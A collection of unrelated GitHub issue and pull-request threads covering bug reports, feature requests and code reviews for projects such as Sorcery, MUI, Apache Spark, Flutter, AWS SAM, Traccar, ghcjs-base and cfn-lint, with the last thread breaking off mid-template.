Do you understand why there's a fallback to Time.now here?
https://github.com/Sorcery/sorcery/blob/d9dc0bd80a3d5689398baea4489b14ed78e6c42d/lib/sorcery/controller/submodules/session_timeout.rb#L71
It basically means that all legacy sessions (created before the session_timeout feature was activated) cannot be invalidated.
Our custom before_action works around this by setting the session's [:login_time] to Jan 1, 2023 - a date that's guaranteed to be earlier than our rollout date.


[docs] Demo HorizontalLinearStepper crashes

[ ] I have searched for similar issues in this repository and believe that this is not a duplicate.

Steps to Reproduce

Visit https://mui.com/material-ui/react-stepper/
??
demo HorizontalLinearStepper crashes

Your Environment

Tech
Version

MUI
v5.14.3

Netlify deploy
https://64cd58533dfd4c00082c4879--material-ui-docs.netlify.app

Browser
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/<IP_ADDRESS> Safari/537.36

Can you provide some steps to reproduce it? I am not able to reproduce it.


Added revamped sqlite returner

this all seems just fine, but we'll wait to merge it until #879 gets merged. Then we'll rebase this PR to develop. (No need to close this and open a new one, you can just edit the base.)


Add links to plugin row meta

Feature Description
Site Kit has added two subtle links on the plugins page to encourage reviews / opening support topics:

Perhaps we could do the same? With some telemetry it could provide us some insights on usefulness too.
Even if it's not used much, could be a subtle, unobtrusive, nice-to-have enhancement.
Alternatives Considered

Additional Context
Site Kit implementation: https://github.com/google/site-kit-wp/issues/2516 & https://github.com/google/site-kit-wp/pull/2596

Do not alter or remove anything below. The following sections will be managed by moderators only.
Acceptance Criteria

Implementation Brief

@o-fernandez WDYT?

I like adding the link to the settings page next to activate. I did something similar with Unsplash.

I think this all sounds good. Why don't we copy the same implementation and just do it following the site kit approach?

Verified in QA


[CS2103T-W12-3] AddresSoc

AddresSoc helps SoC students keep track of their student networks and organize their academic and social life. It uses CLI-type commands familiar to SoC students.

Codecov Report

Merging #32 (2bd82f4) into master (4f7660a) will not change coverage.
The diff coverage is n/a.

@@            Coverage Diff            @@
##             master      #32   +/-   ##
=========================================
  Coverage     72.15%   72.15%
  Complexity      399      399
=========================================
  Files            70       70
  Lines          1232     1232
  Branches        125      125
=========================================
  Hits            889      889
  Misses          311      311
  Partials         32       32

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 4f7660a...2bd82f4. Read the comment docs.


[SPARK-47318][CORE][3.5] Adds HKDF round to AuthEngine key derivation to follow standard KEX practices

What changes were proposed in this pull request?
Backport of SPARK-47318 to v3.5.0
This change adds an additional pass through a key derivation function (KDF) to the key exchange protocol in AuthEngine. Currently, it uses the shared secret from a bespoke key negotiation protocol directly. This is an encoded X coordinate on the X25519 curve. It is atypical and not recommended to use that coordinate directly as a key, but rather to pass it to an KDF.
Note, Spark now supports TLS for RPC calls. It is preferable to use that rather than the bespoke AES RPC encryption implemented by AuthEngine and TransportCipher.
Why are the changes needed?
This follows best practices of key negotiation protocols. The encoded X coordinate is not guaranteed to be uniformly distributed over the 32-byte key space. Rather, we pass it through a HKDF function to map it uniformly to a 16-byte key space.
Does this PR introduce any user-facing change?
No.
How was this patch tested?
Exiting tests under:
build/sbt "network-common/test:testOnly"
Specifically:
build/sbt "network-common/test:testOnly org.apache.spark.network.crypto.AuthEngineSuite"
build/sbt "network-common/test:testOnly org.apache.spark.network.crypto.AuthIntegrationSuite"
Was this patch authored or co-authored using generative AI tooling?
No.

Please use the same PR title with additional '[3.5]' tag.

My concern with adding 3.4.3 was, that would typically mean it is available in 3.5.x - but it wont, except for specific versions of 3.5. Should we document it as such ?

We can follow the Apache Spark Security page convention.

https://spark.apache.org/security.html

3.2.2, or 3.3.1 or later

In this case, maybe, 3.4.3, or 3.5.2 or later?

Sounds good to me for docs @dongjoon-hyun - we will have to forward port that to master as well.
And I guess we leave the config as 4.0 in code ?

Yes, correct (https://github.com/apache/spark/pull/46014#discussion_r1561825387)

we will have to forward port that to master as well.

While double-checking the PR, I'd realized that 3.4.3, 3.5.2 is better because the column name is Since Version.

Merged to branch-3.5 for Apache Spark 3.5.2.

Thanks @dongjoon-hyun !

Thank you!


Add 'adservice.google.es' and 'www.adservice.google.com'

Hola Rubén @Rubenfer thank you for this.
The file you changed is generated — recreated each time — because we merge and deduplicate hosts files from other providers.  The providers' spec, and latest data, are in the /data folder.
So you have two options:

Submit these domains to one of our providers, or

Amend the hosts file in the /data/StevenBlack folder, and submit that as a Pull Request.

Closing.

Solved in #1123. Thanks!

Gracias Rubén!  Merging.


Release 0.7.0.

Also fixes copyright of gradle.properties. It looks like this was copied over from starcoder which is licensed under GNU whereas stellarcli is licensed under apache 2.0.

Need to bump API version before releasing, please wait a bit.


Document how to use GlobalKey with TextField and OrientationBuilder

Steps to Reproduce

Pull down https://github.com/flutter/udacity-course/pull/80
Build the app - note that tapping on the TextField input causes the keyboard to appear, but immediately disappear.
3a. Wrap the widget in converter_route's build function with a SingleChildScrollView. This resolves the issue. But then in landscape mode, the width of the widget (450.0) is ignored.
3b. Wrap only the Orientation.portrait return widget with a SingleChildScrollView. This doesn't resolve the keyboard disappearing issue.

@HansMuller

Put a GlobalKey on the TextField, so that it survives the rebuild. You're probably changing the shape of the tree enough when the keyboard comes up (going from portrait to landscape) that the TextField itself is replaced with a new one in a new place in the tree and that makes the keyboard forget which text field it cares about. A GlobalKey helps keep the same TextField around in the new tree.

I'm not sure I'm doing it right - the TextField now looks like:
TextField(
            key: GlobalKey(debugLabel: 'inputText'),
            style: Theme.of(context).textTheme.display1,
            ...

the keyboard still jumps in and out.
I've also tried passing in Key key to the constructor, and then this:
TextField(
            key: widget.key,
            style: Theme.of(context).textTheme.display1,
            ...

Am I passing in the GlobalKey incorrectly?

To clarify, the keyboard jumping up and down isn't happening between switching from portrait to landscape; it's happening only in portrait mode if the widget is not wrapped in a SingleChildScrollView outside of the OrientationBuilder.

In _UnitConvertState add a global key:
Key _inputKey = new GlobalKey(debugLabel: 'inputText');

The lifetime of this key, and likewise the TextField's state, will match the UnitConverter.
Create the TextField, in _UnitConverterState.build(),  with the key:
new TextField(
  key: _inputKey,

I've verified that this stops the jumping up and down.

Confirms this works - thanks! Should we close this issue? How would a regular developer have known to add a GlobalKey?

Leaving it open it open is a good idea. I'll fix it by adding some documentation to TextField, TextFormField.

Hey @HansMuller - I added the global key to my textFormField, however, my keyboard keeps disappearing. This is the behavior I'm facing: http://www.giphy.com/gifs/1zlDKyQiQ2s6oHSIzf
And this is what the code looks like:
final Key _playerOneKey = new GlobalKey(debugLabel: 'Player One'); . . . TextFormField(   key: _playerOneKey,   decoration: InputDecoration(     labelText: "Player One Name",   ),   onSaved: (String value) => _formData['playerOne'] = value  ),
any idea of what might cause this issue?

When do you create the key?
On Sat, Aug 4, 2018 at 11:29 PM Andrea Rocca<EMAIL_ADDRESS>wrote:

Hey @HansMuller https://github.com/HansMuller - I added the global key
to my textFormField, however, my keyboard keeps disappearing. This is the
behavior I'm facing: http://www.giphy.com/gifs/1zlDKyQiQ2s6oHSIzf
And this is what the code looks like:
final Key _playerOneKey = new GlobalKey(debugLabel: 'Player One'); . . .
TextFormField( key: _playerOneKey, decoration: InputDecoration( labelText:
"Player One Name", ), onSaved: (String value) => _formData['playerOne'] =
value ),
any idea of what might cause this issue?
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub
https://github.com/flutter/flutter/issues/15719#issuecomment-410499079,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AAhpHMS-V8nAkKiKS9yHZoFOV512-k_Rks5uNpC6gaJpZM4SxGLf
.

--
--
Ian Hickson
😸

I am having the same issue with keyboard, so I changed the key to static and it works. But I have a page with many tabs, each tab have a form generated by a class. If I change the key to static, the forms stop working because they share the same static key... What can I do to solve this?

I have the same error. Did everything but cannot find a workaround for this.


Added two templates to policy templates. Both are read only API calls…

… (ce:* and Organizations:ListAccounts), that cannot be resource scoped, useful for using lambda for cost reporting. Also added SendRawEmail to existing SESCrudPolicy
Issue #, if available:
Description of changes:
Two new read-only policy templates to support adding https://github.com/aws-samples/aws-cost-explorer-report to the Serverless Application Repository. API calls do not support resource downscoping due to nature of calls.
By submitting this pull request, I confirm that my contribution is made under the terms of the Apache 2.0 license.

@davfaulk did you want to fix this?

Apologies for the delay - been traveling etc. Modified the other files, and ran tests.

Sorry for the delayed response on this. We have since removed the redundant docs/policy_templates_data/policy_templates.json file so now the only file to modify is samtranslator/policy_templates_data/policy_templates.json Can you merge the latest develop branch, resolve conflicts and update this PR?

Thanks @davfaulk, could you rebase this on latest develop branch? As James mentioned, we removed redundant file which is the main cause for this conflict.

Rebased off of current develop


Cloudflare Middleware

Requesting Cloudflare to consider buiding a middleware cms like Strapi.
which can power websites and mobile apps
there should be 2 options
1.API driven Widgets
2.Widgets can be dragged-dropped on Mobile-PWA layout containers
mobile pwa while loading should call the widget-id and just display it

👋 @davidjeba  I'm sorry, we only take care of developers.cloudflare.com documentation in this repo! Please reach out to community.cloudflare.com for assistance.


Unable to add non-ascii characters for username when creating a new user

Describe the issue:
The warning "A user already exists with this username" is displayed when trying to create a new user that has non-ascii characters in the username.
The error message "Something went wrong: Error while filtering the users for filter with attribute name" was displayed in the blurred background behind the create user form when typing characters in addition to the non-ascii ones. No exceptions were thrown.
How to reproduce:

Go to Console > Manage > Users
Press New User
Add a username with non-ascii characters (eg: ŠĐČĆŽšđčćž)
Fill in the other relevant details as required.

Note: I added the following configurations to the deployment.toml to allow any character to be added to the username when using the primary userstore.
[user_store]
username_java_script_regex = '.'
username_java_regex = '.'

Screenshot:

Expected behavior:
The username should be validated and should proceed to the next step of the wizard.
Environment information:

Product Version: 5.11.0-Beta3
OS: Mac
Database: MySQL 8, latin1 charset
Userstore: JDBC - "database_unique_id"

This is due to those characters not being accepted by DB and hence throwing a SQL exception
Caused by: java.sql.SQLException: Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8mb4_0900_ai_ci,COERCIBLE) for operation 'like'

This is expected if the DB is configured to use latin1 charset. However, the error message should be fixed to reflect the SQL error rather than saying the user already exists.
Note that in this scenario SCIM search will give a 500 error whereas for user existence it will give a 200 (with 1 item)
@brionmario / @thivi Can we fix the error message shown to the user when a 500 is given by the SCIM search during user creation?


Bicep commands shouldn't show up in output window right-click context menu

Yea I verified this problem, when a user clicks Build Bicep, they get

And when they try to click deploy, they get

This feels broken, so let's suppress it

Interesting, IIRC this is due to a long-standing bug in VSCode. @bhsubra - didn't you have a workaround for this?

(Yes, the error shouldn't be occuring.)
But the menus shouldn't show up in the console window in the first place, and we can control that in the package.json file.

This doesn't repo for me anymore. @StephenWeatherford - can we close this?


feature(submissions/offers/consignments): Add artist filter

add artist filter
show selected term in search-box
make search-box work with state/assigned_to filters

Refs [CX-592]

@amy-mkrtchyan can you add a screenshot?


Make Aerospike Prometheus the default

The latest monitoring stack release eliminates some instance of hardcoding related to the data source. This appears to break dashboard functionality in the UI in some places. This can be fixed by the user by setting Aerospike Prometheus as the default data source. Ideally this can be configured that way when Aerolab configures AMS.

Actually I get the datasources yaml file from AMS stack. Should we change the isDefault there?


Install PowerShell for IIS fails

Install-WindowsFeature : The term 'Install-WindowsFeature' is not recognized as the name of a cmdlet, function, script
file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct
and try again.
At line:1 char:1

Install-WindowsFeature -name Web-Server -IncludeManagementTools

  + CategoryInfo          : ObjectNotFound: (Install-WindowsFeature:String) [], CommandNotFoundException
  + FullyQualifiedErrorId : CommandNotFoundException

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 7294d2f2-a192-92dc-d7a6-6c262817e59d
Version Independent ID: 5fc3ac6f-d2c7-2964-4bc7-f2d203aeb773
Content: Filter network traffic - tutorial - Azure Portal
Content Source: articles/virtual-network/tutorial-filter-network-traffic.md
Service: virtual-network
GitHub Login: @KumudD
Microsoft Alias: kumud

@Euripedes68 , Please install Server Manager module in your Power Shell to get this command to work.
To download the most current Windows PowerShell console help for this cmdlet module, run Update-Help -Module ServerManager in an elevated (Run as Administrator) Windows PowerShell session.
Reference: https://docs.microsoft.com/en-us/powershell/module/microsoft.windows.servermanager.migration/?view=win10-ps
Let me know if you have any further questions.

@Euripedes68 ,Do you have any update on this issue?

@Euripedes68 , I will go ahead and close this issue for now. Please feel free to tag me if you have any further questions.

not getting it  can anyone help on above issue !


[messaging] getToken rejects promise with AbortError (code 20)

Running Chrome Version 67.0.3396.99 (Official Build) (64-bit) on Windows 10
After firebase serve -p 5000 inside /messaging dir I get 20 - "AbortError" on promise reject from getToken() when opening or reloading the page.
Only thing changed in source code is messaging/index.html:89 - usePublicVapidKey(..
Key generated from: Firebase > Settings > Cloud Messaging > Web Push certificate.

Same code works ok in Firefox:

There might be some throttling from Chrome involved, because it worked before and stopped working after many calls to getToken(). How to reset and delete old subscriptions to free these limits throttling getToken()?

I've solved the issue by using another browser, then also by using Chrome Canary. Problem is in the browser user profile. Using a new profile solves it.


Using a message queue to improve performance

HI Anton,
Traccar is a great and stable piece of software, but I find it can be quickly overwhelmed with devices, especially if the database it is writing to is not the same structure used in your builds. I was thinking about adding the ability to write those messages to a message queue instead of a database. Something like Kafka with persistence would mean traccar only has to deal with receiving and decoding the messages and another micro-service could be used to read from the queue and write it to more permanent storage like a database.
Using the queue would also allow other micro-services to subscribe to the messages and can then do more advanced real-time processing without any delay in the device service.
Is there any reason this idea would not work or should not be done?
Jed

There is a plan to add API to be able to access messages in real time. As for queue, I'm not sure about that. If database can't handle number of devices, then something should be done about the database or insert query.

The issue is that badly designed devices will ddos a server whenever it comes back online after some downtime and cause more downtime and lost messages. The advantage of a queue is that it can receive the messages much quicker than a database can write them, and once in the queue you have a level of persistence so you can take as much time and attempts as necessary to write to the database and other real time processing.
The reason I am interested in this is because we have had to run traccar as a series of micro servers behind HA Proxy to be able to handle just 1250 devices because  the traccar connection pool was reaching its limit. Now we have 14 traccar end points to receive the data and they all write to the same database that a single instances wrote too. This has fixed our issue but is not ideal as it creates a much bigger infrastructure cost.

I know people who use Traccar with more than 10k devices and it works fine with just one instance.

Unfortunately I don't, but I'm pretty sure 16GB should be more than enough for 1250 devices. What OS are you using? Maybe you reached the limit on number of open connections?

They are running on CentOS 6, and it appears that its traccars connection limit we were reaching vs an OS limit. This is why I am interested in offloading a connection from traccar ASAP vs waiting for a database write.

I think on Linux by default the limit is around 1000 connections, so you definitely need to change it.

Ok, thanks, I will experiment with that and see how it goes.

I used Redis Publish Subscribe and I achieved great really really short response time even after I added more business logic to the handlers and the filters.

hi, does anyone know how to increase the number of open connections on Ubuntu? I think I may hit a similar problem in time to come. A ulimit -n returns me 1024 ... which indicates that there is a 1024 connection limit by default on Ubuntu 14 LTS.
Edit etc/sysctl.conf or something - if yes then does any other options needs to be set as well?
Thanks

You can try some suggestions from this thread:
http://stackoverflow.com/questions/21515463/how-to-increase-maximum-file-open-limit-ulimit-in-ubuntu

Great thanks :100:


Fix NPM install command in README

Description
The npm install command wasn't pointed to the correct NPM package.  This PR fixes #5.
Related Issue
https://github.com/adobe/inquirer-table-checkbox/issues/5
Motivation and Context
I was annoyed the command didn't work as expected.
How Has This Been Tested?
N/A, documentation change.
Screenshots (if appropriate):
Types of changes

[x] Bug fix (non-breaking change which fixes an issue)
[ ] New feature (non-breaking change which adds functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to change)

Checklist:

[x] I have signed the Adobe Open Source CLA.
[x] My code follows the code style of this project.
[x] My change requires a change to the documentation.
[x] I have updated the documentation accordingly.
[x] I have read the CONTRIBUTING document.
[ ] I have added tests to cover my changes.
[ ] All new and existing tests passed.

I signed the CLA before opening the PR, I'm not sure why it's not being pulled in.

@Albert-IV
Thanks for the contribution! Just to verify - In addition to filling out the name & e-mail form on the initial CLA link, did you get an e-mail with an Adobe Sign link and fill out that form as well?

Ooh, I don't think I did.  I resubmitted the CLA and completed the 2nd signing process through my email.  I think this should all be set now!


Make the bar draggable or otherwise movable to other areas of the screen

Right now the bar seems to default to the right of the hotbar, but there are lots of modules that utilize this same area, causing it to block them. Would be nice if we could have some kind of configuration to move this bar elsewhere, especially as it doesn't stay a standard size, but grows as the character has more ranged weapons.

Done in v0.2.0


Use aggregation for digiwf-integrations

We should seperate the digiwf-integrations from the digiwf-core parent using maven aggregation to maintain each integration separately. With this approach we could keep legacy integrations on an older version without migrating them to e.g. Spring Boot 3.
Todo

Use maven aggregation for the digiwf-integrations

Each integration should be a standalone application
We don't have to migrate every integration (especially the legacy ones)

Hey team! Please add your planning poker estimate with Zenhub @darenegade @dominikhorn93 @lehju @StephanStrehlerCGI


update groupId to org.eclipse.pass

to test:
docker-compose up -d
mvn verify

good catch, john - will update these logger names


Errors attempting to login using az ssh

Trying to login using az ssh. Worked in the past. Now asked to login (which I did) and then got the message below.
Command Name
az ssh vm Extension Name: ssh. Version: 0.1.5.
Errors:
The command failed with an unexpected error. Here is the traceback:
'Profile' object has no attribute 'get_msal_token'
Traceback (most recent call last):
  File "/usr/local/Cellar/azure-cli/2.30.0/libexec/lib/python3.9/site-packages/knack/cli.py", line 231, in invoke
    cmd_result = self.invocation.execute(args)
  File "/usr/local/Cellar/azure-cli/2.30.0/libexec/lib/python3.9/site-packages/azure/cli/core/commands/__init__.py", line 657, in execute
    raise ex
  File "/usr/local/Cellar/azure-cli/2.30.0/libexec/lib/python3.9/site-packages/azure/cli/core/commands/__init__.py", line 720, in _run_jobs_serially
    results.append(self._run_job(expanded_arg, cmd_copy))
  File "/usr/local/Cellar/azure-cli/2.30.0/libexec/lib/python3.9/site-packages/azure/cli/core/commands/__init__.py", line 691, in _run_job
    result = cmd_copy(params)
  File "/usr/local/Cellar/azure-cli/2.30.0/libexec/lib/python3.9/site-packages/azure/cli/core/commands/__init__.py", line 328, in __call__
    return self.handler(*args, **kwargs)
  File "/usr/local/Cellar/azure-cli/2.30.0/libexec/lib/python3.9/site-packages/azure/cli/core/commands/command_operation.py", line 121, in handler
    return op(**command_args)
  File "/Users/gilf/.azure/cliextensions/ssh/azext_ssh/custom.py", line 21, in ssh_vm
    _do_ssh_op(cmd, resource_group_name, vm_name, ssh_ip,
  File "/Users/gilf/.azure/cliextensions/ssh/azext_ssh/custom.py", line 48, in _do_ssh_op
    cert_file, username = _get_and_write_certificate(cmd, public_key_file, None)
  File "/Users/gilf/.azure/cliextensions/ssh/azext_ssh/custom.py", line 58, in _get_and_write_certificate
    _, certificate = profile.get_msal_token(scopes, data)
AttributeError: 'Profile' object has no attribute 'get_msal_token'

To Reproduce:
Steps to reproduce the behavior. Note that argument values have been redacted, as they may contain sensitive information.

Put any pre-requisite steps here...
az ssh vm --name {} --resource-group {}

Expected Behavior
Log in to the remote VM
Environment Summary
macOS-12.0.1-x86_64-i386-64bit, Darwin 21.1.0
Python 3.9.7
Installer: HOMEBREW

azure-cli 2.30.0

Extensions:
ssh 0.1.5

Additional Context

route to service team

@gilfreund This issue should have been fixed on more recent versions of the extension. Please run "az extension update --name ssh".

Looks good


Removed verbose timestamp info log

Fixes #15

cc @gin66

Sorry about that, didnt notice the timestamp


Fix compiler warnings.

When I compiled ghcjs-base with ghcjs-<IP_ADDRESS>06021_ghc-7.10.3 from http://ghcjs.tolysz.org/lts-6.21-9006021.tar.gz, ghcjs gave the following warnings.
The warnings are sorted.
/home/crocket/repos/other/ghcjs-base/JavaScript/JSON/Types/Generic.hs:2:45: Warning:
    -XOverlappingInstances is deprecated: instead use per-instance pragmas OVERLAPPING/OVERLAPPABLE/OVERLAPS

/home/crocket/repos/other/ghcjs-base/JavaScript/JSON/Types/Instances.hs:2:54: Warning:
    -XOverlappingInstances is deprecated: instead use per-instance pragmas OVERLAPPING/OVERLAPPABLE/OVERLAPS

/home/crocket/repos/other/ghcjs-base/JavaScript/TypedArray/Internal/Types.hs:111:5: Warning:
    Overlapped type family instance equation:
    forall (k :: BOX) (s :: k). Elem (STUint8Array s) = Word8

/home/crocket/repos/other/ghcjs-base/JavaScript/TypedArray/Internal/Types.hs:112:5: Warning:
    Overlapped type family instance equation:
    forall (k :: BOX) (s :: k). Elem (STUint8ClampedArray s) = Word8

/home/crocket/repos/other/ghcjs-base/JavaScript/TypedArray/Internal/Types.hs:113:5: Warning:
    Overlapped type family instance equation:
    forall (k :: BOX) (s :: k). Elem (STUint16Array s) = Word16

/home/crocket/repos/other/ghcjs-base/JavaScript/TypedArray/Internal/Types.hs:114:5: Warning:
    Overlapped type family instance equation:
    forall (k :: BOX) (s :: k). Elem (STUint32Array s) = Word

/home/crocket/repos/other/ghcjs-base/JavaScript/TypedArray/Internal/Types.hs:115:5: Warning:
    Overlapped type family instance equation:
    forall (k :: BOX) (s :: k). Elem (STInt8Array s) = Int8

/home/crocket/repos/other/ghcjs-base/JavaScript/TypedArray/Internal/Types.hs:116:5: Warning:
    Overlapped type family instance equation:
    forall (k :: BOX) (s :: k). Elem (STInt16Array s) = Int16

/home/crocket/repos/other/ghcjs-base/JavaScript/TypedArray/Internal/Types.hs:117:5: Warning:
    Overlapped type family instance equation:
    forall (k :: BOX) (s :: k). Elem (STInt32Array s) = Int

/home/crocket/repos/other/ghcjs-base/JavaScript/TypedArray/Internal/Types.hs:118:5: Warning:
    Overlapped type family instance equation:
    forall (k :: BOX) (s :: k). Elem (STFloat32Array s) = Double

/home/crocket/repos/other/ghcjs-base/JavaScript/TypedArray/Internal/Types.hs:119:5: Warning:
    Overlapped type family instance equation:
    forall (k :: BOX) (s :: k). Elem (STFloat64Array s) = Double

/home/crocket/repos/other/ghcjs-base/GHCJS/Foreign/Internal.hs:93:1: Warning:
    Module ‘Foreign.ForeignPtr.Safe’ is deprecated:
      Safe is now the default, please use Foreign.ForeignPtr instead

/home/crocket/repos/other/ghcjs-base/Data/JSString/Int.hs:38:1: Warning:
    SPECIALISE pragma on INLINE function probably won't fire: ‘decimal’

/home/crocket/repos/other/ghcjs-base/Data/JSString/Int.hs:39:1: Warning:
    SPECIALISE pragma on INLINE function probably won't fire: ‘decimal’

/home/crocket/repos/other/ghcjs-base/Data/JSString/Int.hs:40:1: Warning:
    SPECIALISE pragma on INLINE function probably won't fire: ‘decimal’

/home/crocket/repos/other/ghcjs-base/Data/JSString/Int.hs:41:1: Warning:
    SPECIALISE pragma on INLINE function probably won't fire: ‘decimal’

/home/crocket/repos/other/ghcjs-base/Data/JSString/Int.hs:42:1: Warning:
    SPECIALISE pragma on INLINE function probably won't fire: ‘decimal’

/home/crocket/repos/other/ghcjs-base/Data/JSString/Int.hs:43:1: Warning:
    SPECIALISE pragma on INLINE function probably won't fire: ‘decimal’

/home/crocket/repos/other/ghcjs-base/Data/JSString/Int.hs:44:1: Warning:
    SPECIALISE pragma on INLINE function probably won't fire: ‘decimal’

/home/crocket/repos/other/ghcjs-base/Data/JSString/Int.hs:45:1: Warning:
    SPECIALISE pragma on INLINE function probably won't fire: ‘decimal’

/home/crocket/repos/other/ghcjs-base/Data/JSString/Int.hs:46:1: Warning:
    SPECIALISE pragma on INLINE function probably won't fire: ‘decimal’

/home/crocket/repos/other/ghcjs-base/Data/JSString/Int.hs:47:1: Warning:
    SPECIALISE pragma on INLINE function probably won't fire: ‘decimal’

/home/crocket/repos/other/ghcjs-base/Data/JSString/Int.hs:48:1: Warning:
    SPECIALISE pragma on INLINE function probably won't fire: ‘decimal’

/home/crocket/repos/other/ghcjs-base/Data/JSString/Int.hs:132:1: Warning:
    SPECIALISE pragma on INLINE function probably won't fire: ‘hexadecimal’

/home/crocket/repos/other/ghcjs-base/Data/JSString/Int.hs:133:1: Warning:
    SPECIALISE pragma on INLINE function probably won't fire: ‘hexadecimal’

/home/crocket/repos/other/ghcjs-base/Data/JSString/Int.hs:134:1: Warning:
    SPECIALISE pragma on INLINE function probably won't fire: ‘hexadecimal’

/home/crocket/repos/other/ghcjs-base/Data/JSString/Int.hs:135:1: Warning:
    SPECIALISE pragma on INLINE function probably won't fire: ‘hexadecimal’

/home/crocket/repos/other/ghcjs-base/Data/JSString/Int.hs:136:1: Warning:
    SPECIALISE pragma on INLINE function probably won't fire: ‘hexadecimal’

/home/crocket/repos/other/ghcjs-base/Data/JSString/Int.hs:137:1: Warning:
    SPECIALISE pragma on INLINE function probably won't fire: ‘hexadecimal’

/home/crocket/repos/other/ghcjs-base/Data/JSString/Int.hs:138:1: Warning:
    SPECIALISE pragma on INLINE function probably won't fire: ‘hexadecimal’

/home/crocket/repos/other/ghcjs-base/Data/JSString/Int.hs:139:1: Warning:
    SPECIALISE pragma on INLINE function probably won't fire: ‘hexadecimal’

/home/crocket/repos/other/ghcjs-base/Data/JSString/Int.hs:140:1: Warning:
    SPECIALISE pragma on INLINE function probably won't fire: ‘hexadecimal’

/home/crocket/repos/other/ghcjs-base/Data/JSString/Int.hs:141:1: Warning:
    SPECIALISE pragma on INLINE function probably won't fire: ‘hexadecimal’

/home/crocket/repos/other/ghcjs-base/Data/JSString/Int.hs:142:1: Warning:
    SPECIALISE pragma on INLINE function probably won't fire: ‘hexadecimal’

/home/crocket/repos/other/ghcjs-base/Data/JSString/RealFloat.hs:29:1: Warning:
    Ignoring useless SPECIALISE pragma for NOINLINE function: ‘realFloat’

/home/crocket/repos/other/ghcjs-base/Data/JSString/RealFloat.hs:30:1: Warning:
    Ignoring useless SPECIALISE pragma for NOINLINE function: ‘realFloat’

/home/crocket/repos/other/ghcjs-base/Data/JSString/RealFloat.hs:41:1: Warning:
    Ignoring useless SPECIALISE pragma for NOINLINE function: ‘formatRealFloat’

/home/crocket/repos/other/ghcjs-base/Data/JSString/RealFloat.hs:42:1: Warning:
    Ignoring useless SPECIALISE pragma for NOINLINE function: ‘formatRealFloat’

/home/crocket/repos/other/ghcjs-base/JavaScript/JSON/Types/Internal.hs:11:7: Warning:
    ‘MutableValue’ is exported by ‘MutableValue’ and ‘MutableValue’

/home/crocket/repos/other/ghcjs-base/JavaScript/JSON/Types/Internal.hs:11:21: Warning:
    ‘MutableValue'’ is exported by ‘MutableValue'’ and ‘MutableValue'’

/home/crocket/repos/other/ghcjs-base/GHCJS/Marshal.hs:28:1: Warning:
    Module ‘Data.Attoparsec.Number’ is deprecated:
      This module will be removed in the next major release.

/home/crocket/repos/other/ghcjs-base/JavaScript/JSON/Types/Instances.hs:71:1: Warning:
    Module ‘Data.Attoparsec.Number’ is deprecated:
      This module will be removed in the next major release.

/home/crocket/repos/other/ghcjs-base/JavaScript/JSON/Types/Instances.hs:1067:37: Warning:
    In the use of type constructor or class ‘Number’
    (imported from Data.Attoparsec.Number):
    Deprecated: "This module will be removed in the next major release."

/home/crocket/repos/other/ghcjs-base/JavaScript/JSON/Types/Instances.hs:1069:19: Warning:
    In the use of data constructor ‘D’
    (imported from Data.Attoparsec.Number):
    Deprecated: "This module will be removed in the next major release."

/home/crocket/repos/other/ghcjs-base/JavaScript/JSON/Types/Instances.hs:1070:19: Warning:
    In the use of data constructor ‘I’
    (imported from Data.Attoparsec.Number):
    Deprecated: "This module will be removed in the next major release."

/home/crocket/repos/other/ghcjs-base/JavaScript/JSON/Types/Instances.hs:494:17: Warning:
    In the use of ‘parseTime’
    (imported from Data.Time.Format, but defined in time-<IP_ADDRESS>:Data.Time.Format.Parse):
    Deprecated: "use "parseTimeM True" instead"

/home/crocket/repos/other/ghcjs-base/JavaScript/JSON/Types/Instances.hs:516:16: Warning:
    In the use of ‘parseTime’
    (imported from Data.Time.Format, but defined in time-<IP_ADDRESS>:Data.Time.Format.Parse):
    Deprecated: "use "parseTimeM True" instead"

/home/crocket/repos/other/ghcjs-base/JavaScript/JSON/Types/Instances.hs:539:14: Warning:
    In the use of ‘parseTime’
    (imported from Data.Time.Format, but defined in time-<IP_ADDRESS>:Data.Time.Format.Parse):
    Deprecated: "use "parseTimeM True" instead"

The specialise errors are erroneously reported and it's an upstream ghc issue  - https://ghc.haskell.org/trac/ghc/ticket/10721
It seems like the overlapping type family instance warnings are very old upstream ghc issues - https://ghc.haskell.org/trac/ghc/ticket/4259
The only one that seems like some amount of work is Attoparsec's Number module (which suggests using scientific instead)


Build system enhancements

Currently simple2d uses plain Makefile, which has some drawbacks:

Tests are compiled with globally installed library and header file. This gives some pain during edit-compile-test cycle, as you have to issue make, make install and, eventually, make tests.
libsimple2d.a is only updated with make, but existing object files are not replaced by new, so to have library reflect newest source code changes, you should first make clean and then make.
make install does not rely on libsimple2d.a so it fails when there is no library file.

As an alternative way to overcome the problems stated above, I'd recommend to switch to CMake build system which is reliable and standardized. For RaspberryPi, it would be nice to have cross-compiling support.

Yea, it sounds interesting. A central goal of this project is to make it easy for beginners, and those coming from other backgrounds like web development, to understand as many aspects of how this library works as possible. The simplicity of a Makefile makes it more accessible – all the commands are what actually gets run verbatim, nothing magical there. I passed over CMake a bit ago because I didn't see the benefits outweighing the added complexity. And also, after reading the intro CMake tutorial was promptly confused and gave up.
Now that this project is maturing and should demonstrate best practices, it's probably a good time to revisit. I'd definitely like to learn more about what it looks like to switch to CMake and the resulting experience for developers of the library and users of it.

Well, writing CMake scripts may be a bit complicated for beginners, but using them is quite straightforward. The user should just create a build directory, cd in, invoke cmake <path-to-project-root> (e. g. cmake .., if build directory is inside project root). Then voila! you have generated Makefile. Now you can make, make clean, make install easily.
And CMake can generate you build scripts for different platforms, compilers, IDEs, so it is easy to generate VisualStudio or Xcode projects.

The makefiles (for make and nmake) are working pretty well for now, but I'm sure we'll return to this in the future as further needs arise.


E3002 and E8003 LanguageExtensions FindInMap issue

CloudFormation Lint Version
0.79.4
What operating system are you using?
windows 11 22h2 python 3.10.11
Describe the bug
it doesn't look like 0.79.4 completely fixed the issue in #2817 or i am getting a very similar issue.
I am also getting a E8003 for FindInMaps in the Conditions Section
Expected behavior
neither should error
Reproduction template
  LambdaLogGroup:
    Type: AWS::Logs::LogGroup
